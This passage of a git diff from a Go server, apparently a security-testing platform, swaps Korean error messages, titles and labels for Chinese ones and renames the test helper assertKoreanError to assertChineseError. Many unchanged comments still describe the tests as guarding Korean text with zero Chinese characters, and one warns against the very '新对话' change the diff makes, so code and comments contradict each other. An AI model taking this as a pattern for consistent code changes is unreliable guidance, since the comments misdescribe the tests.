- w.prog(PhaseDownload, pct, fmt.Sprintf("내려받는 중 %s / %s", humanSize(w.written), humanSize(w.total)))
+ w.prog(PhaseDownload, pct, fmt.Sprintf("正在下载 %s / %s", humanSize(w.written), humanSize(w.total)))
return len(b), nil
}
diff --git a/server/asset_intercept.go b/server/asset_intercept.go
index 2e76b46..0352a68 100644
--- a/server/asset_intercept.go
+++ b/server/asset_intercept.go
@@ -17,10 +17,10 @@ import (
// 않는다). 필드명과 kind 열거값(pattern·exact_ip·cidr·kind)은 클라이언트가 그대로
// 주고받는 와이어 식별자라 번역하지 않고 원문을 유지한다.
const (
- errAssetInterceptPatternEmpty = "패턴을 입력하세요"
- errAssetInterceptInvalidExactIPFmt = "exact_ip 는 올바른 IP 주소여야 합니다: %s"
- errAssetInterceptInvalidCIDRFmt = "cidr 는 올바른 네트워크 대역이어야 합니다(예: 192.168.0.0/16): %s"
- errAssetInterceptInvalidKindFmt = "kind 값이 올바르지 않습니다: %s"
+ errAssetInterceptPatternEmpty = "请输入模式"
+ errAssetInterceptInvalidExactIPFmt = "exact_ip 必须是合法的 IP 地址: %s"
+ errAssetInterceptInvalidCIDRFmt = "cidr 必须是合法的网络段(例如: 192.168.0.0/16): %s"
+ errAssetInterceptInvalidKindFmt = "kind 的值无效: %s"
)
// --- asset intercept rule CRUD ---
diff --git a/server/asset_intercept_localized_test.go b/server/asset_intercept_localized_test.go
index c0c4b77..d5ef151 100644
--- a/server/asset_intercept_localized_test.go
+++ b/server/asset_intercept_localized_test.go
@@ -6,7 +6,7 @@ import "testing"
// 오류 문구를 한국어로 유지하는 회귀 방어 테스트다. 두 검증기
// (validateAssetInterceptRuleReq·validateTaskInterceptRuleReq)는 DB 를 쓰지 않는 순수
// 함수라, 상수 핀 고정에 더해 실제 오류 경로를 직접 호출해 반환 문구까지 검증한다.
-// 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를 재사용한다.
+// 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를 재사용한다.
// 필드명·열거값(pattern·exact_ip·cidr·kind·action·block·allow)은 와이어 식별자라 ASCII 로
// 남으며 한자 판정에서 걸리지 않는다. 누군가 둘러싼 설명을 중국어로 되돌리면 실패한다.
func TestAssetInterceptErrorsLocalized(t *testing.T) {
@@ -18,7 +18,7 @@ func TestAssetInterceptErrorsLocalized(t *testing.T) {
{"bad_kind", errAssetInterceptInvalidKindFmt},
{"bad_action", errTaskInterceptInvalidAction},
} {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
// 실제 경로: validateAssetInterceptRuleReq 의 네 거부 분기
@@ -36,7 +36,7 @@ func TestAssetInterceptErrorsLocalized(t *testing.T) {
if err == nil {
t.Fatalf("%s: 오류가 없습니다(검증을 통과함)", c.label)
}
- assertKoreanError(t, c.label, err.Error())
+ assertChineseError(t, c.label, err.Error())
}
// 유효 입력은 거부되지 않는다
@@ -50,7 +50,7 @@ func TestAssetInterceptErrorsLocalized(t *testing.T) {
if err := validateTaskInterceptRuleReq(&badAction); err == nil {
t.Fatalf("bad_action_path: 오류가 없습니다(검증을 통과함)")
} else {
- assertKoreanError(t, "bad_action_path", err.Error())
+ assertChineseError(t, "bad_action_path", err.Error())
}
// action 공란은 block 기본값으로 정규화되어 통과한다
diff --git a/server/assets.go b/server/assets.go
index b398870..cb7cc06 100644
--- a/server/assets.go
+++ b/server/assets.go
@@ -21,8 +21,8 @@ const maxCompanyMutationBodyBytes = 2 << 20
// 회사·자산 API 가 사용자에게 돌려주는 오류 응답 문구. 용어집 기준으로 company 는
// "회사"로 둔다. 사람이 읽는 메시지만 한국어로 두고 식별자·필드명은 원문 보존.
const (
- errCompanyRequestTooLarge = "요청 본문이 너무 큽니다"
- errCompanyNameConflict = "이미 존재하는 회사 이름입니다"
+ errCompanyRequestTooLarge = "请求正文过大"
+ errCompanyNameConflict = "公司名称已存在"
)
// 자산 출처(provenance) summary 라벨. task_asset_links.source_summary 에 저장돼 작업
@@ -30,8 +30,8 @@ const (
// 두어 같은 패널에서 출처 라벨이 언어별로 어긋나지 않게 한다(db.manualTaskScopeSummary
// 도 같은 성격의 수동 추가 라벨). 비교·분기에 쓰이지 않는 표시 전용 값이다.
const (
- taskAssetSourceAPISummary = "자산 API 로 등록"
- taskAssetSourceTaskSummary = "작업 설명 또는 목표로 초기화"
+ taskAssetSourceAPISummary = "通过资产 API 注册"
+ taskAssetSourceTaskSummary = "由任务描述或目标初始化"
)
func decodeCompanyMutationRequest(w http.ResponseWriter, r *http.Request, value any) bool {
diff --git a/server/assets_localized_test.go b/server/assets_localized_test.go
index b4066ad..4a4b974 100644
--- a/server/assets_localized_test.go
+++ b/server/assets_localized_test.go
@@ -18,7 +18,7 @@ func TestAssetErrorConstantsLocalized(t *testing.T) {
"errCompanyNameConflict": errCompanyNameConflict,
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -32,7 +32,7 @@ func TestTaskAssetProvenanceLocalized(t *testing.T) {
"taskAssetSourceTaskSummary": taskAssetSourceTaskSummary,
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -53,7 +53,7 @@ func TestAssetResponsesLocalized(t *testing.T) {
if rec.Code != http.StatusBadRequest {
t.Fatalf("scope+asset_ids status=%d, want 400 (body %s)", rec.Code, rec.Body.String())
}
- assertKoreanError(t, "scope-conflict", decodeErrorField(t, rec.Body.Bytes()))
+ assertChineseError(t, "scope-conflict", decodeErrorField(t, rec.Body.Bytes()))
// attachTaskAssets — an oversized body trips MaxBytesReader during decode.
bigReq := httptest.NewRequest(http.MethodPost, "/api/tasks/1/assets",
@@ -64,7 +64,7 @@ func TestAssetResponsesLocalized(t *testing.T) {
if rec.Code != http.StatusRequestEntityTooLarge {
t.Fatalf("task asset too-large status=%d, want 413 (body %s)", rec.Code, rec.Body.String())
}
- assertKoreanError(t, "task-asset-too-large", decodeErrorField(t, rec.Body.Bytes()))
+ assertChineseError(t, "task-asset-too-large", decodeErrorField(t, rec.Body.Bytes()))
// decodeCompanyMutationRequest — a body-only helper, no DB or Server state.
compReq := httptest.NewRequest(http.MethodPost, "/api/companies",
@@ -77,5 +77,5 @@ func TestAssetResponsesLocalized(t *testing.T) {
if rec.Code != http.StatusRequestEntityTooLarge {
t.Fatalf("company too-large status=%d, want 413 (body %s)", rec.Code, rec.Body.String())
}
- assertKoreanError(t, "company-too-large", decodeErrorField(t, rec.Body.Bytes()))
+ assertChineseError(t, "company-too-large", decodeErrorField(t, rec.Body.Bytes()))
}
diff --git a/server/auth.go b/server/auth.go
index d9fee4a..edffd76 100644
--- a/server/auth.go
+++ b/server/auth.go
@@ -27,18 +27,18 @@ const (
// 오류 문구는 로그인 화면(web messages auth.login.errorCredential)과 표기를 맞췄다.
// token 은 기술 용어라 원문 그대로 둔다(로그·주석은 BRIEF 방침상 최하위라 손대지 않음).
const (
- authErrUnauthorized = "인증이 필요합니다"
- authErrTokenInvalid = "token 이 유효하지 않거나 만료되었습니다"
- authErrPasswordAlreadySet = "비밀번호가 이미 설정되어 있습니다"
- authErrPasswordEmpty = "비밀번호를 입력해 주세요"
- authErrNewPasswordEmpty = "새 비밀번호를 입력해 주세요"
- authErrPasswordHash = "비밀번호 암호화에 실패했습니다"
- authErrSaveFailedPrefix = "저장에 실패했습니다: "
- authErrTokenGen = "token 생성에 실패했습니다"
- authErrBadRequest = "요청 형식이 올바르지 않습니다"
- authErrPasswordNotInit = "비밀번호가 초기화되지 않았습니다. 먼저 비밀번호를 설정해 주세요"
- authErrCurrentPasswordWrong = "현재 비밀번호가 올바르지 않습니다"
- authErrBadCredential = "사용자 이름 또는 비밀번호가 올바르지 않습니다"
+ authErrUnauthorized = "需要认证"
+ authErrTokenInvalid = "token 无效或已过期"
+ authErrPasswordAlreadySet = "密码已设置"
+ authErrPasswordEmpty = "请输入密码"
+ authErrNewPasswordEmpty = "请输入新密码"
+ authErrPasswordHash = "密码加密失败"
+ authErrSaveFailedPrefix = "保存失败: "
+ authErrTokenGen = "token 生成失败"
+ authErrBadRequest = "请求格式无效"
+ authErrPasswordNotInit = "密码尚未初始化,请先设置密码"
+ authErrCurrentPasswordWrong = "当前密码不正确"
+ authErrBadCredential = "用户名或密码不正确"
)
// loadOrCreateJWTKey reads the 32-byte signing key from keyDir/jwt.key. keyDir is
@@ -56,7 +56,7 @@ func loadOrCreateJWTKey(keyDir, dataDir string) ([]byte, error) {
if data, rerr := os.ReadFile(legacy); rerr == nil {
if werr := os.WriteFile(path, data, 0o600); werr == nil {
_ = os.Remove(legacy)
- log.Printf("[auth] JWT 키를 %s 에서 %s 로 이전(탐색 가능한 워크스페이스 밖으로 이동)", legacy, path)
+ log.Printf("[auth] 已将 JWT 密钥从 %s 迁移到 %s(移出可被探测的工作区)", legacy, path)
}
}
}
@@ -75,7 +75,7 @@ func loadOrCreateJWTKey(keyDir, dataDir string) ([]byte, error) {
if err := os.WriteFile(path, buf, 0600); err != nil {
return nil, fmt.Errorf("write jwt key: %w", err)
}
- log.Printf("[auth] 새 JWT 키를 %s 에 기록", path)
+ log.Printf("[auth] 已将新 JWT 密钥写入 %s", path)
return buf, nil
}
diff --git a/server/auth_localized_test.go b/server/auth_localized_test.go
index 5c55f6f..bc4d733 100644
--- a/server/auth_localized_test.go
+++ b/server/auth_localized_test.go
@@ -10,7 +10,7 @@ import (
// 인증 응답 문구의 한국어화(백로그 F3b)를 지키는 회귀 방어 테스트다. DB 가 없어도
// 도는 두 경로로 확인한다: ① requireAuth 미들웨어는 pg 를 거치지 않으므로 실제 HTTP
// 응답 본문까지 검사하고, ② 나머지 핸들러 문구는 명명 상수라 상수 자체를 검사한다.
-// 한국어 판정은 F3a 가 만든 assertKoreanError 헬퍼(한글 포함·중국어 한자 0)를 재사용한다.
+// 한국어 판정은 F3a 가 만든 assertChineseError 헬퍼(한글 포함·중국어 한자 0)를 재사용한다.
// TestRequireAuthMessagesLocalized 는 토큰이 없거나 잘못됐을 때 requireAuth 가 돌려주는
// 401 응답 본문이 한국어이고 중국어 한자가 없음을 실제 HTTP 핸들러로 확인한다. 이
@@ -46,7 +46,7 @@ func TestRequireAuthMessagesLocalized(t *testing.T) {
if !strings.Contains(body, c.want) {
t.Errorf("응답 본문에 %q 가 없습니다: %s", c.want, body)
}
- assertKoreanError(t, c.name, body)
+ assertChineseError(t, c.name, body)
})
}
}
@@ -70,6 +70,6 @@ func TestAuthErrorConstantsLocalized(t *testing.T) {
"authErrBadCredential": authErrBadCredential,
}
for name, msg := range consts {
- assertKoreanError(t, name, msg)
+ assertChineseError(t, name, msg)
}
}
diff --git a/server/chat_mentions.go b/server/chat_mentions.go
index 7edf3d7..03f32fb 100644
--- a/server/chat_mentions.go
+++ b/server/chat_mentions.go
@@ -21,12 +21,12 @@ const maxChatMentions = 10
// chatMentionKinds)과 에이전트 입력 스냅샷 헤더·절단 표시(composeChatMentionMessage
// 안)는 표시 문구가 아니라 두뇌 입력 형식이라 원문 그대로 둔다.
const (
- errChatMentionBadID = "인용 ID 가 올바르지 않습니다. 다시 선택해 주세요"
- errChatMentionTooMany = "메시지 한 건에는 레코드를 최대 10개까지 인용할 수 있습니다"
- errChatMentionBadSearch = "인용 유형이 올바르지 않거나 검색어가 200자를 초과했습니다"
- errChatMentionDataUnavail = "인용 데이터를 현재 사용할 수 없습니다"
- errChatMentionTooLarge = "인용한 내용이 너무 큽니다. 인용 레코드를 줄인 뒤 다시 시도해 주세요"
- errChatMentionNotFoundFmt = "인용한 %s #%d 레코드가 존재하지 않거나 유형이 일치하지 않습니다. 제거한 뒤 다시 선택해 주세요"
+ errChatMentionBadID = "引用 ID 无效,请重新选择"
+ errChatMentionTooMany = "单条消息最多可引用 10 条记录"
+ errChatMentionBadSearch = "引用类型无效或搜索词超过 200 个字符"
+ errChatMentionDataUnavail = "引用数据当前不可用"
+ errChatMentionTooLarge = "引用的内容过大,请减少引用记录后重试"
+ errChatMentionNotFoundFmt = "引用的 %s #%d 记录不存在或类型不匹配,请移除后重新选择"
)
// chatMentionKindLabel: 사용자 노출 오류에서만 쓰는 표시 전용 한국어 라벨.
@@ -34,8 +34,8 @@ const (
// chatMentionKinds)과 에이전트 입력(ref.Name, composeChatMentionMessage 안)은
// 중국어 라벨을 그대로 유지한다 — 프론트 멘션 칩 표시 i18n(F30)과 분리된 별건.
var chatMentionKindLabel = map[string]string{
- "finding": "취약점", "asset": "자산", "company": "기업", "endpoint": "엔드포인트",
- "ip": "IP", "app": "앱", "root_domain": "도메인", "subdomain": "서브도메인", "service": "서비스",
+ "finding": "漏洞", "asset": "资产", "company": "企业", "endpoint": "接口",
+ "ip": "IP", "app": "应用", "root_domain": "域名", "subdomain": "子域名", "service": "服务",
}
// The visible token survives drafts, uploads, retries and conversation history.
diff --git a/server/chat_mentions_localized_test.go b/server/chat_mentions_localized_test.go
index e58fc04..29f145d 100644
--- a/server/chat_mentions_localized_test.go
+++ b/server/chat_mentions_localized_test.go
@@ -22,14 +22,14 @@ func TestChatMentionErrorsLocalized(t *testing.T) {
"dataUnavail": errChatMentionDataUnavail,
"tooLarge": errChatMentionTooLarge,
} {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
// parseChatMentions — a non-positive id inside a valid wire token.
if _, err := parseChatMentions("@[漏洞#0]"); err == nil {
t.Fatal("잘못된 인용 ID 가 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "parse.badID", err.Error())
+ assertChineseError(t, "parse.badID", err.Error())
}
// parseChatMentions — exceeding the per-message mention cap (11 distinct ids).
@@ -40,14 +40,14 @@ func TestChatMentionErrorsLocalized(t *testing.T) {
if _, err := parseChatMentions(b.String()); err == nil {
t.Fatal("인용 상한 초과가 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "parse.tooMany", err.Error())
+ assertChineseError(t, "parse.tooMany", err.Error())
}
// composeChatMentionMessage — a mention is present but the database is nil.
if _, err := composeChatMentionMessage(nil, "@[漏洞#1]"); err == nil {
t.Fatal("DB 없이 인용 해석이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "compose.dataUnavail", err.Error())
+ assertChineseError(t, "compose.dataUnavail", err.Error())
}
// searchChatMentions — invalid kind and over-long query are rejected before
@@ -58,7 +58,7 @@ func TestChatMentionErrorsLocalized(t *testing.T) {
if w.Code != 400 {
t.Fatalf("검증 실패(400)를 기대했으나 %d 가 반환되었습니다 (%s)", w.Code, q)
}
- assertKoreanError(t, "search."+q, decodeErrorField(t, w.Body.Bytes()))
+ assertChineseError(t, "search."+q, decodeErrorField(t, w.Body.Bytes()))
}
// The display label map mirrors the UI mention kinds, and the not-found
@@ -68,5 +68,5 @@ func TestChatMentionErrorsLocalized(t *testing.T) {
t.Fatalf("종류 라벨이 누락되었습니다: %s", kind)
}
}
- assertKoreanError(t, "notFound", fmt.Sprintf(errChatMentionNotFoundFmt, chatMentionKindLabel["finding"], 7))
+ assertChineseError(t, "notFound", fmt.Sprintf(errChatMentionNotFoundFmt, chatMentionKindLabel["finding"], 7))
}
diff --git a/server/chatupload.go b/server/chatupload.go
index 5b45fdc..e714e24 100644
--- a/server/chatupload.go
+++ b/server/chatupload.go
@@ -21,13 +21,13 @@ const maxChatUpload = 128 << 20 // 128 MiB
// 는 workspace.go errWsIllegalPath("잘못된 경로입니다")와 같은 꼴이다. ...失败 세 종류는
// task_archives.go:229 선례처럼 접두 상수 + err.Error() 로 이어 붙인다.
const (
- errChatUploadScopeInvalid = "scope 값은 task, session, staging 중 하나여야 합니다"
- errChatUploadBadID = "잘못된 id입니다"
- errChatUploadTaskDeleting = "작업을 삭제하는 중이라 첨부 파일을 업로드할 수 없습니다"
- errChatUploadMkdir = "디렉터리를 만들지 못했습니다: "
- errChatUploadParse = "업로드를 해석하지 못했거나 크기 제한을 초과했습니다: "
- errChatUploadNoFile = "업로드할 파일이 없습니다(폼 필드 file)"
- errChatUploadSaveFailed = "저장하지 못했습니다: "
+ errChatUploadScopeInvalid = "scope 值必须是 task、session、staging 之一"
+ errChatUploadBadID = "id 无效"
+ errChatUploadTaskDeleting = "正在删除任务,无法上传附件"
+ errChatUploadMkdir = "无法创建目录: "
+ errChatUploadParse = "无法解析上传内容或超出大小限制: "
+ errChatUploadNoFile = "没有要上传的文件(表单字段 file)"
+ errChatUploadSaveFailed = "保存失败: "
)
// safeChatID guards the {id} path segment against traversal — task ids are numeric,
diff --git a/server/chatupload_localized_test.go b/server/chatupload_localized_test.go
index bc3e83b..58242d8 100644
--- a/server/chatupload_localized_test.go
+++ b/server/chatupload_localized_test.go
@@ -9,7 +9,7 @@ import (
)
// chatupload.go 의 채팅 첨부 업로드 API 에러 응답을 한국어로 유지하는 회귀 방어 테스트다.
-// 한국어 판정은 F3a 의 assertKoreanError(한글 포함·중국어 한자 0)를, 응답 본문 추출은
+// 한국어 판정은 F3a 의 assertChineseError(한글 포함·중국어 한자 0)를, 응답 본문 추출은
// task_categories 테스트의 decodeErrorField 를 재사용한다(같은 package server).
// TestChatUploadErrorConstantsLocalized 는 응답 상수 7종이 전부 한국어임을 단언한다.
@@ -26,7 +26,7 @@ func TestChatUploadErrorConstantsLocalized(t *testing.T) {
"save_failed": errChatUploadSaveFailed,
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -55,7 +55,7 @@ func TestChatUploadHandlerResponsesLocalized(t *testing.T) {
if got := decodeErrorField(t, rec.Body.Bytes()); got != errChatUploadScopeInvalid {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, errChatUploadScopeInvalid)
}
- assertKoreanError(t, "scope-invalid", errChatUploadScopeInvalid)
+ assertChineseError(t, "scope-invalid", errChatUploadScopeInvalid)
})
t.Run("bad-id", func(t *testing.T) {
@@ -70,7 +70,7 @@ func TestChatUploadHandlerResponsesLocalized(t *testing.T) {
if got := decodeErrorField(t, rec.Body.Bytes()); got != errChatUploadBadID {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, errChatUploadBadID)
}
- assertKoreanError(t, "bad-id", errChatUploadBadID)
+ assertChineseError(t, "bad-id", errChatUploadBadID)
})
t.Run("no-file", func(t *testing.T) {
@@ -86,7 +86,7 @@ func TestChatUploadHandlerResponsesLocalized(t *testing.T) {
if got := decodeErrorField(t, rec.Body.Bytes()); got != errChatUploadNoFile {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, errChatUploadNoFile)
}
- assertKoreanError(t, "no-file", errChatUploadNoFile)
+ assertChineseError(t, "no-file", errChatUploadNoFile)
})
t.Run("task-deleting", func(t *testing.T) {
@@ -101,6 +101,6 @@ func TestChatUploadHandlerResponsesLocalized(t *testing.T) {
if got := decodeErrorField(t, rec.Body.Bytes()); got != errChatUploadTaskDeleting {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, errChatUploadTaskDeleting)
}
- assertKoreanError(t, "task-deleting", errChatUploadTaskDeleting)
+ assertChineseError(t, "task-deleting", errChatUploadTaskDeleting)
})
}
diff --git a/server/constraints_api.go b/server/constraints_api.go
index ab34b97..00989b0 100644
--- a/server/constraints_api.go
+++ b/server/constraints_api.go
@@ -25,11 +25,11 @@ const (
// goals_api.go 의 errGoalTaskDeleting* 와 같은 문형이고, kind 검증은 intercept.go 의
// "값은 … 중 하나여야 합니다" 패턴을 따른다.
const (
- errConstraintTaskDeletingAdd = "작업을 삭제하는 중이라 제약을 추가할 수 없습니다"
- errConstraintTaskDeletingEdit = "작업을 삭제하는 중이라 제약을 수정할 수 없습니다"
- errConstraintTaskDeletingDelete = "작업을 삭제하는 중이라 제약을 삭제할 수 없습니다"
- errConstraintTextEmpty = "제약 내용은 비워 둘 수 없습니다"
- errConstraintKindInvalid = "kind 값은 allow 또는 deny 중 하나여야 합니다"
+ errConstraintTaskDeletingAdd = "正在删除任务,无法添加约束"
+ errConstraintTaskDeletingEdit = "正在删除任务,无法修改约束"
+ errConstraintTaskDeletingDelete = "正在删除任务,无法删除约束"
+ errConstraintTextEmpty = "约束内容不能为空"
+ errConstraintKindInvalid = "kind 的值必须是 allow 或 deny 之一"
)
// constraintInjectPlanner / constraintInjectWorker 报告是否把操作约束注入对应 agent 的
diff --git a/server/constraints_api_localized_test.go b/server/constraints_api_localized_test.go
index 158f5f1..9fbbe88 100644
--- a/server/constraints_api_localized_test.go
+++ b/server/constraints_api_localized_test.go
@@ -8,7 +8,7 @@ import (
)
// constraints_api.go 의 제약(约束) 관리 API 에러 응답을 한국어로 유지하는 회귀 방어
-// 테스트다. 한국어 판정은 F3a 의 assertKoreanError(한글 포함·중국어 한자 0)를, 응답 본문
+// 테스트다. 한국어 판정은 F3a 의 assertChineseError(한글 포함·중국어 한자 0)를, 응답 본문
// 추출은 task_categories 테스트의 decodeErrorField 를 재사용한다(같은 package server).
// TestConstraintErrorConstantsLocalized 는 응답 상수 5종이 전부 한국어임을 단언한다.
@@ -21,7 +21,7 @@ func TestConstraintErrorConstantsLocalized(t *testing.T) {
"kind_invalid": errConstraintKindInvalid,
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -132,7 +132,7 @@ func TestConstraintHandlersResponsesLocalized(t *testing.T) {
if got != c.want {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, c.want)
}
- assertKoreanError(t, c.name, got)
+ assertChineseError(t, c.name, got)
})
}
}
diff --git a/server/conversations.go b/server/conversations.go
index 4e67116..9087e96 100644
--- a/server/conversations.go
+++ b/server/conversations.go
@@ -34,18 +34,18 @@ const (
// convRetest* 상수·transcriptErrorSummary 로 분리했다(F9). 트리거 메시지 골격은 아직
// 이 묶음 밖이다(F10·저널 참조). 로그·주석은 BRIEF 방침상 최하위.
const (
- convErrRequestTooLarge = "요청 본문이 너무 큽니다"
- convErrAgentKeyEmpty = "agent_key 는 비어 있을 수 없습니다"
- convErrAgentKeyTooLong = "agent_key 는 최대 %d자까지 입력할 수 있습니다"
- convErrAgentNotFound = "에이전트를 찾을 수 없습니다"
- convErrLLMProfile = "지정한 LLM 설정이 존재하지 않거나 API Key 가 설정되지 않았습니다"
- convErrTitleTooLong = "제목은 최대 %d자까지 입력할 수 있습니다"
- convErrTitleOrPinned = "title 또는 pinned 중 하나 이상을 제공해야 합니다"
- convErrTitleEmpty = "제목은 비어 있을 수 없습니다"
- convErrBadConvID = "대화 id 가 올바르지 않습니다"
- convErrIDsCount = "ids 개수는 1에서 %d 사이여야 합니다"
- convErrMessageEmpty = "메시지는 비어 있을 수 없습니다"
- convErrBusy = "이 대화가 이전 메시지를 처리하고 있습니다. 잠시 기다려 주세요"
+ convErrRequestTooLarge = "请求正文过大"
+ convErrAgentKeyEmpty = "agent_key 不能为空"
+ convErrAgentKeyTooLong = "agent_key 最多可输入 %d 个字符"
+ convErrAgentNotFound = "找不到该智能体"
+ convErrLLMProfile = "指定的 LLM 配置不存在或未设置 API Key"
+ convErrTitleTooLong = "标题最多可输入 %d 个字符"
+ convErrTitleOrPinned = "必须至少提供 title 或 pinned 之一"
+ convErrTitleEmpty = "标题不能为空"
+ convErrBadConvID = "对话 id 无效"
+ convErrIDsCount = "ids 数量必须在 1 到 %d 之间"
+ convErrMessageEmpty = "消息不能为空"
+ convErrBusy = "该对话正在处理上一条消息,请稍候"
)
// 대화 기본 제목. convDefaultTitle 은 표시 문구이자 센티넬이다. 대화를 만들 때 제목으로
@@ -53,8 +53,8 @@ const (
// (sendConversationMessage). 대입하는 쪽과 비교하는 쪽이 어긋나면 자동 제목 분기가
// 깨지므로 한 상수로 묶는다. convAttachmentTitle 은 첨부만 보낸 첫 메시지의 기본 제목이다.
const (
- convDefaultTitle = "새 대화"
- convAttachmentTitle = "첨부 메시지"
+ convDefaultTitle = "新对话"
+ convAttachmentTitle = "附件消息"
)
// 재검증(finding_retest) 종결 사유. runConversationTurn 이 재검증 대화를 봉인할 때 쓰고,
@@ -63,9 +63,9 @@ const (
// 같은 컬럼·패널이라 그 파일에서 함께 한국어로 둔다. 종결 상태 값("failed"/"stopped"/
// "completed")은 StatusLabel 로 한국어 라벨에 매핑되는 센티넬이라 ASCII 로 유지한다(F9).
const (
- convRetestFailedToStart = "재검증을 시작하지 못했습니다"
- convRetestStatusReadFailed = "재검증 상태를 읽지 못했습니다. 다시 시작해 주세요"
- convRetestStoppedOrClosed = "재검증이 중지되었거나 서비스가 종료되었습니다"
+ convRetestFailedToStart = "无法开始复测"
+ convRetestStatusReadFailed = "无法读取复测状态,请重新开始"
+ convRetestStoppedOrClosed = "复测已停止或服务已关闭"
)
// isDefaultConversationTitle 은 대화가 아직 자동 생성된 기본 제목(빈 값 또는
@@ -551,7 +551,7 @@ func transcriptErrorSummary(label, errMsg string) string {
if label != "" {
label += " "
}
- return "(" + label + "오류: " + errMsg + ")"
+ return "(" + label + "错误: " + errMsg + ")"
}
func (s *Server) runConversationTurn(ctx context.Context, cancel context.CancelCauseFunc, c *db.Conversation, msg, busyKey string) {
diff --git a/server/conversations_localized_test.go b/server/conversations_localized_test.go
index 0395dda..ac278a5 100644
--- a/server/conversations_localized_test.go
+++ b/server/conversations_localized_test.go
@@ -10,7 +10,7 @@ import (
)
// conversations.go 의 대화(채팅) API 에러 응답을 한국어로 유지하는 회귀 방어 테스트다.
-// 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를 재사용한다.
+// 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를 재사용한다.
// TestConversationErrorConstantsLocalized 는 응답 상수 12종이 전부 한국어임을 단언한다.
// 핸들러는 s.pg(w)(DB)를 먼저 거쳐 DB 없는 이 호스트에서 끝까지 못 도므로, 상수 자체를
@@ -34,7 +34,7 @@ func TestConversationErrorConstantsLocalized(t *testing.T) {
{"busy", convErrBusy},
}
for _, c := range cases {
- assertKoreanError(t, c.name, c.msg)
+ assertChineseError(t, c.name, c.msg)
}
}
@@ -65,15 +65,15 @@ func TestDecodeConversationRequestTooLargeLocalized(t *testing.T) {
if resp.Error != convErrRequestTooLarge {
t.Fatalf("응답 error = %q, 기대 = %q", resp.Error, convErrRequestTooLarge)
}
- assertKoreanError(t, "decode.too_large.response", resp.Error)
+ assertChineseError(t, "decode.too_large.response", resp.Error)
}
// TestConversationDefaultTitlesLocalized 는 대화 기본 제목 두 상수(F8)가 한국어이고 서로
// 구별됨을 단언한다. convDefaultTitle 은 생성 기본값이자 자동 제목 분기의 센티넬이므로,
// 중국어 "新对话" 로 되돌아가면 사용자가 대화 목록·삭제 다이얼로그에서 중국어를 보게 된다.
func TestConversationDefaultTitlesLocalized(t *testing.T) {
- assertKoreanError(t, "default_title", convDefaultTitle)
- assertKoreanError(t, "attachment_title", convAttachmentTitle)
+ assertChineseError(t, "default_title", convDefaultTitle)
+ assertChineseError(t, "attachment_title", convAttachmentTitle)
if convDefaultTitle == convAttachmentTitle {
t.Fatal("기본 제목과 첨부 기본 제목이 같으면 안 된다")
}
@@ -98,9 +98,9 @@ func TestIsDefaultConversationTitle(t *testing.T) {
// 단언한다. 이 값들은 finding_retests.error 컬럼에 저장돼 재검증 패널 item.error 로
// 노출되므로, 중국어로 되돌아가면 사용자가 패널에서 중국어 사유를 보게 된다.
func TestConversationRetestReasonsLocalized(t *testing.T) {
- assertKoreanError(t, "retest_failed_to_start", convRetestFailedToStart)
- assertKoreanError(t, "retest_status_read_failed", convRetestStatusReadFailed)
- assertKoreanError(t, "retest_stopped_or_closed", convRetestStoppedOrClosed)
+ assertChineseError(t, "retest_failed_to_start", convRetestFailedToStart)
+ assertChineseError(t, "retest_status_read_failed", convRetestStatusReadFailed)
+ assertChineseError(t, "retest_stopped_or_closed", convRetestStoppedOrClosed)
}
// TestTranscriptErrorSummaryLocalized 는 활동 전사 오류 래퍼(F9)를 핀 고정한다. 채팅 턴
@@ -113,8 +113,8 @@ func TestTranscriptErrorSummaryLocalized(t *testing.T) {
errm string
want string
}{
- {"chat_turn", "", "connection reset", "(오류: connection reset)"},
- {"main_agent", "메인 에이전트", "connection reset", "(메인 에이전트 오류: connection reset)"},
+ {"chat_turn", "", "connection reset", "(错误: connection reset)"},
+ {"main_agent", "主 Agent", "connection reset", "(主 Agent 错误: connection reset)"},
}
for _, c := range cases {
got := transcriptErrorSummary(c.label, c.errm)
@@ -131,6 +131,6 @@ func TestTranscriptErrorSummaryLocalized(t *testing.T) {
// 래퍼 라벨에 한글이 있고 중국어 한자가 없어야 한다(err 원문은 검사 대상이 아니라
// ASCII 로 고정). 라벨이 없는 채팅 턴도 "오류" 한글을 포함한다.
wrapper := strings.ReplaceAll(got, c.errm, "")
- assertKoreanError(t, c.name+".wrapper", wrapper)
+ assertChineseError(t, c.name+".wrapper", wrapper)
}
}
diff --git a/server/customtool.go b/server/customtool.go
index b9fcd5a..1ca6fae 100644
--- a/server/customtool.go
+++ b/server/customtool.go
@@ -46,14 +46,14 @@ var reToolKey = reAgentKey // 同 agent key 规则:小写字母开头 + 小写
// 오류 응답을 한국어로 고정한다. 에이전트가 읽는 도구 실행 결과(actool.Errorf)와 도구
// 스키마 description 은 두뇌 경계라 중국어 원문을 보존한다(BRIEF 성능 보존 방침).
const (
- errCustomToolKeyFormat = "key는 소문자로 시작하고 소문자·숫자·밑줄만 사용할 수 있습니다"
- errCustomToolKindInvalid = "kind 값은 command, script, http, shell 중 하나여야 합니다"
- errCustomToolHTTPSchemaRequired = "http 도구에는 매개변수 JSON Schema를 반드시 지정해야 합니다(비워 둘 수 없습니다)"
- errCustomToolKeyExists = "이미 존재하는 key입니다(내장 또는 사용자 지정 도구)"
